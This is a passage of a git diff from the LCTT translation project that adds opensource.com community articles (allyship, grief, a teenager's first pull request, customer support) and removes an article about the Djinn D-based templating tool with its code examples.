the basics of web development. But the greatest part was connecting with others who would later become PyLadies co-organizers, speakers, mentors in side projects, and friends. + +FrauenLoop also gives its students the opportunity to go back as mentors. For me, this was the breaking point that definitively set my path. I have been a mentor for over a year, and it has improved my confidence in myself and reinforced my own learning. Being challenged by the responsibility to facilitate the learning to others, you inevitably have to learn. + +There I met Victoria Hodder, who was my partner applying to Rail Girls Summer of Code. + +### Diversity programs: from Rail Girls Summer of Code to Ecosia Summer of Code + +Rail Girls Summer of Code was a global fellowship program for women and non-binary coders where successful applicants received a three-month scholarship to work on existing open source projects. The program was active from 2013 to 2020. + +The application was submitted by a team, meaning two people from the same city. While it was a remote program, having a local peer ensured accountability and support. + +It also required a place to work, an environment suitable for working for three months. This place could be your home, a co-working space, a work office, or in the best-case scenario, a coaching company. Although the coaching company had no obligation beyond offering a space to work, it connected us with a local company and gave us a space to have visibility and network with people within the industry we wanted to enter. + +Jessica, my PyLadies Berlin co-organizer, had kick-started her career in tech with the program. She proposed Ecosia, her then and current company, to be the coaching company for two teams. One team was myself and Victoria (we focused on web development) and the other was Taciana Cruz and Karina Cordeiro (they focused on data). + +During the three month application period, the COVID-19 pandemic hit hard. Victoria and I had been _sort of_ selected for the Rail Girls Program after getting involved with the [if-me][2] project. _Sort of selected._ Communication with Rail Girls got really messy by the end of the selection period until they finally canceled the program at the last minute. + +We were all devastated. The weight of the pandemic hit us hard, crushing not only a chance for a paid job but a dream of starting a new career that had been cultivated for so long. + +Jessica, a junior software developer at the time, knew that. So she took a step further and, instead of feeling powerless, she took a stand. She piled more work on top of her personal struggles navigating her new role and created the [Ecosia Summer of Code][3]. + +Ecosia couldn’t cover scholarships, but Jessica developed a mentorship instead. The program used the company’s available resources, offering mentorship from highly qualified professionals to fill gaps in our knowledge. As Victoria and Karina dropped the initiative, needing paid jobs, Taciana and I managed to continue on individual projects. We found common themes to work on and supported each other. + +About a year later, I was invited by one of those mentors, Jakiub Fialla, to talk about open source to the company. I am still connected with a few others, and every now and then, I stop by and meet some of them when they host PyLadies Berlin events. How sweet is that? + +### Sponsoring diversity: Coyotiv and Armagan Amcalar + +When Rail Girls was canceled, I saw an Instagram post about a bootcamp offering a full stack web development program scholarship. + +The application was fairly simple, so I applied. I quickly received a spontaneous invite for an interview. Depressed, messy, and hopeless, I attended without any preparation, so I was brutally honest. The conversation was equally honest, which I highly appreciated. + +The interviewer was Armagan Amcalar, the founder of the [Coyotiv School Of Software Engineering][4]. Coming from a music background, Armagan is creative and thinks critically about the world around him. The school itself started after he offered free crash courses in Women Techmakers Berlin for three years. He doesn’t use a rote diversity speech, he acts upon it, offering scholarships to all full-time participants. + +I got the scholarship, and together with four other people (3 of them women), the first cohort was formed. Bootcamp lasted for 17 super intense weeks. This was fundamental in changing my perspective on code. Unlike other places I had tried to learn, the least of Armagan’s concerns is about the framework we choose. Instead, it was all about understanding what we were doing, and thinking about software engineering as a creative, powerful tool shaping the world we live in. I didn’t get just a scholarship, I got a friend and a mentor for life who offered me a turn and opened a door for a better life. + +Do you think I am overreacting? Talk to people around me. My partner, who has known me for about 14 years at this point, commented on how much I had changed. Disciplined, vibrating, happy about the things I was learning along the way, having deep conversations about software and its surroundings, not being conflicted, letting go a life-long career in arts, and finding a purpose. It was so remarkable that he joined a few cohorts after me. + +The school provided me with technical knowledge, interview training, CV support, and public speaking training. Graduation was not only about developing a personal full-stack project. You also had to give back to open source, in recognition that so much software is built upon it, by publishing a library on npm. Node Package Manager (npm), is a Javascript package repository that allows you to reuse code by easily installing it within your Javascript-based projects. Although I have been involved with the free software movement and open source for over a decade, I’d never thought I could give back to it with actual code. + +### My contribution + +This is how [rainbow-penguin][5] was born. It’s an npm library that sends motivational messages to developers while coding. Maybe it’s not a very functional tool. Still, to me, it was a needed tool based on my personal experience wading through the frustrations of learning to code, contributing to the if-me project, and hearing so many similar stories from other learners. + +Through my experiences in these programming communities, I learned that code is much bigger than the lines of code, and how powerful and necessary it is to have allies. No matter who you are or what you think you know, there are opportunities within the free and open source software communities. Your participation doesn't have to be big, because together our contributions are greater than their sum. Take the first step. Find your allies within open source. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/power-sisterhood-allyship-open-source + +作者:[Paloma Oliveira][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/discombobulateme +[b]: https://github.com/lkxed/ +[1]: https://enterprisersproject.com/article/2022/9/software-developer-day-life?intcmp=7013a000002qLH8AAM +[2]: https://www.if-me.org/ +[3]: https://blog.ecosia.org/ecosia-summer-of-code-mentoring/ +[4]: https://www.coyotiv.com/ +[5]: https://www.npmjs.com/package/rainbow-penguin \ No newline at end of file diff --git a/sources/talk/20230316.4 ⭐️⭐️ How I returned to open source after facing grief.md b/sources/talk/20230316.4 ⭐️⭐️ How I returned to open source after facing grief.md new file mode 100644 index 0000000000..714548443e --- /dev/null +++ b/sources/talk/20230316.4 ⭐️⭐️ How I returned to open source after facing grief.md @@ -0,0 +1,73 @@ +[#]: subject: "How I returned to open source after facing grief" +[#]: via: "https://opensource.com/article/23/3/open-source-after-grief" +[#]: author: "Amita Sharma https://opensource.com/users/amita" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How I returned to open source after facing grief +====== + +The open source community is a wonderful place where people come together to collaborate, share knowledge, and build amazing things. I still remember [my first contribution in Fedora][1] 12 years ago, and since then it’s been an amazing journey. However, life can sometimes get in the way and cause us to take a break from participation. The COVID-19 pandemic has affected us all in different ways, and for some, it has been a time of immense loss and grief. I lost my loved one during the pandemic, and it has been the most difficult life event to deal with. It caused me to take a break from the Fedora community, as well. For those in the open source community who have had to take a break due to the loss of a loved one, returning to coding and contributing to projects can feel daunting. However, with some thought and planning, it is possible to make a comeback and once again become an active member of the community. + +First and foremost, it is important to take care of yourself and allow yourself the time and space to grieve. Grief is a personal and unique experience. There is no right or wrong way to go through it. It is important to be kind to yourself. Don’t rush into things before you are ready. + +Once you’re ready to start contributing again, there are a few things you can do to make your comeback as smooth as possible. + +### Reach out to other contributors + +This is a hard truth: nothing stops for you and technology is growing exponentially. When I rejoined Fedora recently, I felt the world had changed around me so fast. From IRC to Telegram to Signal and Matrix, from IRC meetings to Google Meet, from Pagure to GitLab, from mailing lists to discussion forums, and the list goes on. If you haven’t been active in your community for a while, it can be helpful to reach out to your friends in the community and let them know that you’re back and ready to contribute again. This can help you reconnect with people and get back into the swing of things. They may have some suggestions or opportunities for you to get involved in. I am grateful to my Fedora friend [Justin W. Flory][2], who helped me out selflessly to ensure I found my way back into the community. + +### Start small + +In the past, I served as [Fedora Diversity, Equity, & Inclusion (D.E.I.) Advisor][3], which is one of the [Fedora Council][4] member positions. It was a big job. I recognized that, and I knew that were I to think of doing the same job immediately after my break, then it would have been a burden that could threaten to cause [early burnout][5]. It’s vitally important to take it easy. Start small. + +If you’re feeling overwhelmed by the thought of diving back into a big project, start small. There are plenty of small tasks and bugs that need to be fixed, and tackling one of these can help you ease back into the community. + +### Find a mentor + +If you’re feeling unsure about how to get started or where to focus your efforts, consider finding a [mentor][6]. A mentor (in my case, Justin W. Flory) can provide guidance, advice, and support as you make your comeback. + +### Show gratitude + +An open source community is built on the contributions of many people. A healthy community is grateful for your contribution. Showing gratitude is part of making a community healthy. Show your gratitude to others who help you, guide you, and give you feedback. + +### Block your calendar + +Initially, it may take some time to get back to the rhythm of contributing. It helps to schedule some time in your calendar for open source work. It can be weekly/bi-weekly, depending on your availability. Remember, [every contribution counts][7], and that is the beauty of the open source world. This trick will help you to get into a regular routine. + +### Two steps forward, one step back + +Finally, it’s important to remember that it’s okay to take a step back if you need it. Grief is not a linear process. You may find that you need to take a break again in the future. It’s important to be honest with yourself and others about your needs. Take the time you need to take care of yourself. + +### Return on your own terms + +Returning to the open source community after a period of grief can be challenging. It’s also an opportunity to reconnect with something you are passionate about and make a positive impact in the world. In time, you’ll find that you’re able to pick up where you left off, and re-engage with the community once again. + +I dedicate this, my first ever Opensource.com article, to my late younger brother Mr. Nalin Sharma, who left us at the age of 32 due to COVID-19 in 2021. He was a passionate engineer and full of life. I hope he is in a better place now, and I am sure he will always be alive in my memories. + +![Amita and Nalin Sharma][8] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/open-source-after-grief + +作者:[Amita Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amita +[b]: https://github.com/lkxed/ +[1]: https://fedoraproject.org/wiki/User:Amsharma +[2]: https://opensource.com/users/jflory +[3]: https://docs.fedoraproject.org/en-US/diversity-inclusion/roles/council-advisor/ +[4]: https://docs.fedoraproject.org/en-US/council/ +[5]: https://opensource.com/article/21/5/open-source-burnout +[6]: https://enterprisersproject.com/article/2019/10/it-mentors-how-make-most-of-mentoring?intcmp=7013a000002qLH8AAM +[7]: https://opensource.com/article/23/3/non-code-contribution-open-source +[8]: https://opensource.com/sites/default/files/2023-02/nalin-sharma.webp \ No newline at end of file diff --git a/sources/talk/20230317.1 ⭐️ My first pull request at age 14.md b/sources/talk/20230317.1 ⭐️ My first pull request at age 14.md new file mode 100644 index 0000000000..fd7a843720 --- /dev/null +++ b/sources/talk/20230317.1 ⭐️ My first pull request at age 14.md @@ -0,0 +1,70 @@ +[#]: subject: "My first pull request at age 14" +[#]: via: "https://opensource.com/article/23/3/my-first-code-contribution-age-14" +[#]: author: "Neil Naveen https://opensource.com/users/neilnaveen" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +My first pull request at age 14 +====== + +My name is Neil Naveen, and I'm a 14-year-old middle schooler who's been coding for seven years. I have also been coding in [Golang][1] for two years. + +Coding isn't my only passion, though. I've been practicing Jiu-Jitsu for four years and have competed in multiple competitions. I'm passionate about coding and Jiu-Jitsu, as they teach me important life lessons. + +### Codecombat + +I started coding on [Codecombat][2], which taught me many fundamental coding skills. + +One of the most exciting moments in my coding journey was when I ranked 16th out of around 50,000 players in a multiplayer arena hosted by Code Combat. I was just 11 years old then, and it was an incredible achievement for me. It gave me the confidence to continue exploring and learning new things. + +### Leetcode + +After Codecombat, I moved on to [leetcode.com][3]. This site helped me hone my algorithm coding skills with tailored problems to learn specific algorithms. + +### Coding Game + +When I turned 13, I moved on to bot programming on [Coding Game][4]. The competition was much more intense, so I had to use better algorithms. For example, when creating ultimate tic-tac-toe AI, I used algorithms like Minimax and Monte Carlo Tree Search to make my code fast and efficient. + +### GitHub CLI + +One day, I saw my dad using an open source tool called [GitHub CLI][5], and I was fascinated by it. GitHub CLI is a tool that allows users to interact with the GitHub API directly from the command line without ever having to go to GitHub itself. + +Another day, my dad was reviewing PRs from a bot designed to detect vulnerabilities in dependencies. + +Later, I thought about GitHub CLI and this bot, and wondered whether GitHub CLI itself was being monitored by a security bot. It turned out that it was not. + +So I created a fix and included a security audit for GitHub CLI. + +To my delight, my contribution was accepted. It was merged into the project, which was a thrilling moment for me. It was an excellent opportunity to contribute to a significant project like a popular tool like GitHub CLI, and to help secure it. Here's the link to my PR: [https://github.com/cli/cli/pull/4473][6] + +### Commit your code + +I hope my story will inspire other young people to explore and contribute to the open source world. Age isn't a barrier to entry. Everyone should explore and contribute. If you want to check out my website, head over to [neilnaveen.dev][7]. You can also check out my [Leetcode profile][8]. And if you're interested, check out my talk at [CloudNativeSecurityCon][9] recording. + +I'm grateful for the opportunities I've had so far, and I'm excited to see what the future holds for me. Thank you for reading my story! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/my-first-code-contribution-age-14 + +作者:[Neil Naveen][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/neilnaveen +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/18/11/learning-golang +[2]: https://codecombat.com +[3]: https://leetcode.com/neilnaveen +[4]: https://www.codingame.com/profile/0fa733a2c7f92a829e4190625b5b9a485718854 +[5]: https://github.com/cli/cli +[6]: https://github.com/cli/cli/pull/4473 +[7]: https://neilnaveen.dev +[8]: https://leetcode.com/neilnaveen/ +[9]: https://www.youtube.com/watch?v=K6NRUGol-rE \ No newline at end of file diff --git a/sources/talk/20230317.2 ⭐️⭐️ How being open at work results in happy customers.md b/sources/talk/20230317.2 ⭐️⭐️ How being open at work results in happy customers.md new file mode 100644 index 0000000000..aeb4e1f4af --- /dev/null +++ b/sources/talk/20230317.2 ⭐️⭐️ How being open at work results in happy customers.md @@ -0,0 +1,101 @@ +[#]: subject: "How being open at work results in happy customers" +[#]: via: "https://opensource.com/article/23/3/open-customer-support" +[#]: author: "Kat Gaines https://opensource.com/users/katgaines" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How being open at work results in happy customers +====== + +Every interaction we have with another person is influenced by our emotions. Those emotions have ripple effects, especially when it comes to how you do business. A happy customer patronizes your business more, recommends it to family and friends, writes a positive review, and ultimately leads to more money being spent at your business than if they'd been disappointed. The most basic known variable of providing good customer service influences this: If something isn't going as expected, work to make it right (within reason), and you'll save the relationship. + +In tech, you can respect this in a few ways. If you listen to customer feedback, create products they'll find useful and intuitive, and nurture those positive associations with your project, then you'll do well. But there's an oft overlooked component to your customer's emotional perception of your business, and that's the customer support team. + +### Customer support team + +The interactions handled by a support team carry a high emotional charge for the customer. Software needs to work, and it needs to work **now**. + +Software faces a unique challenge when it comes to how a customer-facing team builds a relationship: it's primarily a virtual interaction. For in-person customer care, an employee wields the superpower of eye contact, a strong emotional influence. Facial expressions force us to interact with more empathy than say, a voice over the phone, or an email response. + +When that's not possible, though, the ability to shift the emotional tone to a calm one can be challenging. It's easy for a customer to have a natural bias toward online support. Maybe they've had a bad experience with heavily automated support in the past. There are plenty of badly configured chatbots, unnavigable phone menus, and dispassionate robotic voices to add fuel to the fire when emotions are already high. A customer may have talked to a support agent who's [miserable at work][1] and therefore apathetic to the outcome. The customer carries these experiences into their emotional approach when asking for help. This can create stress for the agent who picks up their ticket, and a vicious cycle repeats. + +Because of high stakes, emotional nature of Customer Support (CS), your business has an opportunity. Corral these big emotions through the people who have the most access to them. The key to doing this successfully is to remember the ripple effect. A customer service agent with the necessary tools and knowledge at their fingertips is happy. A happy customer service agent has better conversations with customers. You can set yourself apart from competitors by creating happy customer support agents in an empowered and knowledgeable customer service team. How is this done? + +### Preparing for success + +If you’re a leader in customer support, or a stakeholder elsewhere in the organization (engineering, product, and so on) who works with support a lot, you can work in key areas to make the lives of your support agents a little easier: + +#### Create visibility + +As a customer support agent, you need data about the customer you're helping. You need to know the systems your customer is using, and the products you're meant to support. It's crucial to have visibility into other teams in the organization, because they have that kind of data. You need to know who to ask for help when a problem arises, what the known issues are, what's being worked on already, and so on. + +Siloed departments are a common major barrier to achieving visibility across teams. This can be made worse by tools and systems that don't connect departments, such as a spreadsheet directory or filing issues in an internal tracking tool. When this is the case, the customer service department can't get timely information on the status of an issue, and the engineering department can't get a good feel for how customers are experiencing the issue. + +If your customer service team is given visibility into the complexity faced by your engineering teams, it's easier to clearly articulate the state of issues to customers and stakeholders. Customer service teams can create visibility for engineering, too. Crucial information about problems can come from your customers. When engineering has visibility into customer issues, they're better equipped to prioritize for customer needs. + +Everyone works hard to prevent customers from being affected by issues, but that's not always realistic. Use the data your customers give your customer service team about what's wrong, and empower your customer service agents to become part of an incident response process rather than just reacting to it. + +#### Make difficult moments easy + +Customer support is a difficult job. If you have never worked in customer service, I'm giving you some homework: shadow your customer support team so you can understand where friction happens. It's a great way to get to know who your customers really are, by seeing them in their highest emotional moments, and seeing how your team navigates that. Customer service means all the questions coming your way, few of the answers at your fingertips, manual tasks to complete, and not enough people to share the load. + +Make the job easy for customer service where you can. It will pay off. Maybe you can help the team automate mundane tasks to better focus on more interesting problems. Often this manifests in chatbots, but it's worth being creative here. For example, can automation be applied when escalating tickets to engineering? That could free an agent to work on their troubleshooting process, rather than the manual steps of making that escalation happen. + +You can use tooling your engineering team might already have in place to find these opportunities. Operations platforms can be shared to put both team's metrics out in the open, helping everyone stay aligned on common goals. + +The feedback loop required for a mature software development life cycle needs the customer service team to operate effectively. You can only do that with shared visibility across your organization. + +Making it easy also means proactive design, especially when it comes to processes for critical moments. You probably have a process to manage major incidents. When you share these tools and processes with customer service, you enable greater visibility and gain valuable insight and teammates along the way. During an incident, customer service can play a few key roles: + +##### Aggregating customer reported issues + +When an incident triggers, engineering needs to quickly find out how much of the service is impacted, including how many features, the depth to which they are affected, and whether they are slow or completely offline. Customer impact is part of that, which customer service can help uncover by associating inbound customer complaints to technical incidents to help drive priorities. As customer service receives reports of issues during an incident, that data becomes part of the impact of the incident, and is incorporated into the resolution process. + +##### Prioritization of SLA + +Your customer service team is in a unique position to help confirm the impact of an incident on the end user. They have insight into when services are reaching their [Service Level Agreement (SLA)][2] for certain customers, and can alert the responding team. This is an important piece of information to manage, and engineering teams might not have visibility into those contractual agreements. This aids in the prioritization of issues during incidents. CS can advise on whether or not an incident should be escalated or have its severity increased based on the customer intelligence they are receiving. More customer impact could mean a higher severity level for the incident, more responders included in the triage, and more stakeholders informed. + +##### Liaisons and stakeholder communication + +Speaking of stakeholders, customer service can take the lead when it comes to codifying communication practices for incidents. Customer service can take ownership of policies around messaging for customers, template responses, and communication processes. Templates with clear information and status pages to keep up to date are just some of the assets they can manage. + +##### Post-incident follow-up + +You'll always encounter customers who watch your status page like a hawk for updates. These customers and others ask customer service for updates if they don't see progress. You can ease the cognitive load of responding to these customers with the newfound connection with the incident process. If you hold incident reviews, then customer service must be part of that conversation. The tone of a conversation changes when a customer service agent has extra data to present to users about the impact of the incident, the resolution, and long-term plans for prevention. Your customer feels consistency, and your agent feels real ownership of the conversation. + +At the end of the day, involving your customer service team through the entire process, from start to finish, allows them to gain control of their own destiny. It lets them provide valuable input back into the resolution process, and leverage their improved experience to improve the [customer experience][3]. + +### Invest in people + +You can't create a happy employee out of thin air. Customer service leaders need help doing this. People need investment in career growth, the ability to collaborate with their peers, and a voice in the organization to know that their feedback is heard. + +Your customer support team is not here to report on metrics to the business or to slog through the queue. Investing means giving them time and space to expand their skills and grow in their careers. For customer service leaders, this comes with knowing you may not keep them in support forever. You can build a strong team that offers phenomenal support, and also creates a hiring funnel into the rest of the business. + +The first level of this is up-leveling agents within support. It's common to have a "premium" support team, or similar, for customers who need a high touch level of support, and the ability to get help at any hour. Hiring 24x7 staff won't help a customer service leader redesign their team's status as a cost center, but developing a staffing model to use the existing team's time efficiently can. Sharing tooling with engineering can be one way to get there. For example, if engineering is on call for responding to issues, customer service can use the same tooling to provide a creative solution, rotating a specialized team for those odd hours or high priority issues. + +This can open up a new career path for those who want to be on a team with specialized knowledge. Having a team that can be notified as-needed, rather than fully staffed at all times, staring at a queue, and waiting for incoming requests, allows leaders to scale their customer experience efficiently. + +Empowering customer service teams to reach out to other teams and advocate for customers also creates new communications channels and opportunities. Your customer service team can serve as a gateway into your organization for technical personnel who are still building skills. A close relationship with engineering supports career growth. Shared processes promote this. So does a shadowing program, having a subject matter expert in support departments for different product areas, and intentionally building career paths to assist transitions when it's time to do so. Customer service agents who transition to other departments bring with them their customer focus and dedication to the customer experience. This is a valuable addition to teams in your organization which increases [empathy][4] across the board. + +The modern software development life cycle doesn't end when code is checked into a repository and all the tests turn green. A constant feedback loop from users back into development planning links user requirements directly to the product management phase of the cycle. Organizations across various industries have seen the benefits of adopting shared goals and purposes across different teams. Include your customer service team in larger organization-wide initiatives, like DevOps transformations and automation projects. Doing this increases the effectiveness of customer-focused teams, and improving their day-to-day work in turn improves the experience they can provide for customers. In a nutshell: Happy agents translate to happy customers. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/open-customer-support + +作者:[Kat Gaines][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/katgaines +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/article/23/1/community-leadership-introducer-chief +[2]: https://opensource.com/article/23/2/sle-sla-open-source-projects +[3]: https://enterprisersproject.com/article/2023/2/transform-customer-service-enterprise-it?intcmp=7013a000002qLH8AAM +[4]: https://enterprisersproject.com/article/2020/7/customer-experience-how-develop-empathy?intcmp=7013a000002qLH8AAM \ No newline at end of file diff --git a/sources/tech/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md b/sources/tech/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md deleted file mode 100644 index f5849ac6b2..0000000000 --- a/sources/tech/20210101 Djinn- A Code Generator and Templating Language Inspired by Jinja2.md +++ /dev/null @@ -1,261 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (hanszhao80) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Djinn: A Code Generator and Templating Language Inspired by Jinja2) -[#]: via: (https://theartofmachinery.com/2021/01/01/djinn.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -Djinn: A Code Generator and Templating Language Inspired by Jinja2 -====== - -Code generators can be useful tools. I sometimes use the command line version of [Jinja2][1] to generate highly redundant config files and other text files, but it’s feature-limited for transforming data. Obviously the author of Jinja2 thinks differently, but I wanted something like list comprehensions or D’s composable range algorithms. - -I decided to make a tool that’s like Jinja2, but lets me generate complex files by transforming data with range algorithms. The idea was dead simple: a templating language that gets rewritten directly to D code. That way it supports everything D does, simply because it _is_ D. I wanted a standalone code generator, but thanks to [D’s `mixin` feature][2], the same templating language works as an embedded templating language (for HTML in a web app, for example). (For more on that trick, see [this post about translating Brainfuck to D to machine code all at compile time using `mixin`s][3].) - -As usual, [it’s on GitLab][4]. [The examples in this post can be found there, too.][5] - -### Hello world example - -Here’s an example to demonstrate the idea: - -``` -Hello [= retro("dlrow") ]! -[: enum one = 1; :] -1 + 1 = [= one + one ] -``` - -`[= some_expression ]` is like `{{ some_expression }}` in Jinja2, and it renders a value to the output. `[: some_statement; :]` is like `{% some_statement %}` and causes full code statements to be executed. I changed the syntax because D also uses curly braces a lot, and mixing the two made templates hard to read. (There are also special non-D directives, like `include`, that get wrapped in `[<` and `>]`.) - -If you save the above to a file called `hello.txt.dj` and run the `djinn` command line tool against it, you’ll get a file called `hello.txt` containing what you might guess: - -``` -Hello world! -1 + 1 = 2 -``` - -If you’ve used Jinja2, you might be wondering what happened to the second line. Djinn has a special rule that simplifies formatting and whitespace handling: if a source line contains `[:` statements or `[<` directives but doesn’t contain any non-whitespace output, the whole line is ignored for output purposes. Blank lines are still rendered. - -### Generating data - -Okay, now for something a bit more practical: generating CSV data. - -``` -x,f(x) -[: import std.mathspecial; -foreach (x; iota(-1.0, 1.0, 0.1)) :] -[= "%0.1f,%g", x, normalDistribution(x) ] -``` - -A `[=` and `]` pair can contain multiple expressions separated by commas. If the first expression is a double-quoted string, it’s interpreted as a [format string][6]. Here’s the output: - -``` -x,f(x) --1.0,0.158655 --0.9,0.18406 --0.8,0.211855 --0.7,0.241964 --0.6,0.274253 --0.5,0.308538 --0.4,0.344578 --0.3,0.382089 --0.2,0.42074 --0.1,0.460172 -0.0,0.5 -0.1,0.539828 -0.2,0.57926 -0.3,0.617911 -0.4,0.655422 -0.5,0.691462 -0.6,0.725747 -0.7,0.758036 -0.8,0.788145 -0.9,0.81594 -``` - -### Making an image - -This example is just for the heck of it. [The classic netpbm image library defined a bunch of image formats][7], some of which are text-based. For example, here’s an image of a 3x3 cross: - -``` -P2 # identifier for Portable GrayMap -3 3 # width and height -7 # value for pure white (0 is black) -7 0 7 -0 0 0 -7 0 7 -``` - -You can save the above text to a file named something like `cross.pgm` and many image tools will understand it. Here’s some Djinn code that generates a [Mandelbrot set][8] fractal in the same format: - -``` -[: -import std.complex; -enum W = 640; -enum H = 480; -enum kMaxIter = 20; -ubyte mb(uint x, uint y) -{ - const c = complex(3.0 * (x - W / 1.5) / W, 2.0 * (y - H / 2.0) / H); - auto z = complex(0.0); - ubyte ret = kMaxIter; - while (abs(z) <= 2 && --ret) z = z * z + c; - return ret; -} -:] -P2 -[= W ] [= H ] -[= kMaxIter ] -[: foreach (y; 0..H) :] -[= "%(%s %)", iota(W).map!(x => mb(x, y)) ] -``` - -The resulting file is about 800kB, but it compresses nicely as a PNG: - -``` -$ # Converting with GraphicsMagick -$ gm convert mandelbrot.pgm mandelbrot.png -``` - -And here it is: - -![][9] - -### Solving a puzzle - -Here’s a puzzle: - -![][10] - -The 5x5 grid needs to be filled in with numbers from 1 to 5, using each number once in each row, and once in each column. (I.e., to make a 5x5 Latin square.) The numbers in neighbouring cells must also satisfy the inequalities indicated by any `>` greater-than signs. - -[I used linear programming (LP) some months ago.][11] LP problems are systems of continuous variables with linear constraints. This time I’ll use mixed integer linear programming (MILP), which generalises LP by also allowing integer-constrained variables. It turns out that’s enough to be NP complete, and MILP happens to be reasonably good for modelling this puzzle. - -In that previous post, I used the Julia library JuMP to help spec the problem. This time I’ll use the [CPLEX text-based format][12], which is supported by several LP and MILP solvers (and can be easily converted to other formats by off-the-shelf tools if needed). Here’s the LP from the previous post in CPLEX format: - -``` -Minimize - obj: v -Subject To - ptotal: pr + pp + ps = 1 - rock: 4 ps - 5 pp - v <= 0 - paper: 5 pr - 8 ps - v <= 0 - scissors: 8 pp - 4 pr - v <= 0 -Bounds - 0 <= pr <= 1 - 0 <= pp <= 1 - 0 <= ps <= 1 -End -``` - -CPLEX format is nice to read, but non-trivial problems take a lot of variables and constraints to model, making it painful and error-prone to write out manually. There are domain-specific languages like [ZIMPL][13] for speccing MILPs and LPs in a high-level way. They’re pretty cool for many problems, but ultimately they’re not as expressive as a general-purpose language with a good library like JuMP — or as a code generator with D. - -I’ll model the puzzle using two sets of variables: (v_{r,c}) and (i_{r,c,v}). (v_{r,c}) will hold the value (1-5) of the cell at row (r) and column (c). (i_{r,c,v}) will be an indicator binary that’s 1 if the cell at row (r) and column (c) has value (v), and 0 otherwise. These two sets of variables are redundant representations of the grid, but the first representation makes it easier to model the inequality constraints, while the second representation makes it easier to model the uniqueness constraints. I just need to add some extra constraints to force the two representations to be consistent. But first, let’s start with the basic constraint that each cell must have exactly one value. Mathematically, that means all the indicators for a given row and column must be 0, except for one that is 1. That can be enforced by this equation: - -[i_{r,c,1} + i_{r,c,2} + i_{r,c,3} + i_{r,c,4} + i_{r,c,5} = 1] - -The CPLEX constraints for all rows and columns can be generated with this Djinn code: - -``` -\ Cell has one value -[: -foreach (r; iota(N)) -foreach (c; iota(N)) -:] - [= "%-(%s + %)", vs.map!(v => ivar(r, c, v)) ] = 1 -[::] -``` - -`ivar()` is a helper function that gives us the string identifier for an (i) variable, and `vs` stores the numbers 1-5 for convenience. The constraints for uniqueness within rows and columns are exactly the same, but iterating over the other two dimensions of (i). - -To make the (i) vars consistent with the (v) vars, we need constraints like this (remember, only one of the (i) vars is non-zero): - -[i_{r,c,1} + 2i_{r,c,2} + 3i_{r,c,3} + 4i_{r,c,4} + 5i_{r,c,5} = v_{r,c}] - -CPLEX requires all variables to be on the left, so the Djinn code looks like this: - -``` -\ Link i vars with v vars -[: -foreach (r; iota(N)) -foreach (c; iota(N)) -:] - [= "%-(%s + %)", vs.map!(v => text(v, ' ', ivar(r, c, v))) ] - [= vvar(r,c) ] = 0 -[::] -``` - -The constraints for the neighouring cell inequalities and for the bottom left corner being 4 are all trivial to write. All that’s left is to declare the indicator variables to be binary, and set the bounds for the (v) vars. All up, there are 150 variables and 111 constraints, plus bounds for the variables. [You can see the full code in the repo.][14] - -The [GNU Linear Programming Kit][15] has a command line tool that can solve this CPLEX MILP. Unfortunately, its output is a big dump of everything, so I used awk to pull out what’s needed: - -``` -$ time glpsol --lp inequality.lp -o /dev/stdout | awk '/v[0-9][0-9]/ { print $2, $4 }' | sort -v00 1 -v01 3 -v02 2 -v03 5 -v04 4 -v10 2 -v11 5 -v12 4 -v13 1 -v14 3 -v20 3 -v21 1 -v22 5 -v23 4 -v24 2 -v30 5 -v31 4 -v32 3 -v33 2 -v34 1 -v40 4 -v41 2 -v42 1 -v43 3 -v44 5 - -real 0m0.114s -user 0m0.106s -sys 0m0.005s -``` - -Here’s the solution written out in the original grid: - -![][16] - -These examples are just for playing around, but I’m sure you get the idea. The `README.md` for the Djinn repo is itself generated using a Djinn template, by the way. - -As I said, Djinn can also be used as a compile-time templating language embedded inside D code. I primarily wanted a code generator, but that’s a bonus thanks to D’s metaprogramming features. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2021/01/01/djinn.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[hanszhao80](https://github.com/hanszhao80) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://jinja2docs.readthedocs.io/en/stable/ -[2]: https://dlang.org/articles/mixin.html -[3]: https://theartofmachinery.com/2017/12/31/compile_time_brainfuck.html -[4]: https://gitlab.com/sarneaud/djinn -[5]: 